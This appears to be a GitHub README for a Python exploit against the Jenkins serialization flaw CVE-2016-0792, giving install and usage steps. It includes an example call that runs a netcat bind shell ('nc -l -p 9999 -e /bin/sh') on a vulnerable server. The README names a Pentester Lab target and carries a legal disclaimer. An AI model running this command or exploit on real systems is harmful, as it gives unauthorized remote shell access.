jpiechowka/jenkins-cve-2016-0792Exploit for Jenkins serialization vulnerability - CVE-2016-0792
https://www.exploit-db.com/exploits/42394/
Python 3.6.x
requests library is required for this exploit to work
sudo pip install requests
python3
from exploit import exploit
exploit(url, command)
Where url is url to jenkins server and command is command to execute
exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')
This will run nc and listen on port 9999 on vulnerable machine
For demonstration purposes I will be running ISO from Pentester Lab
Using this software to attack targets without permission is illegal. I am not responsible for any damage caused by using this software against the law.
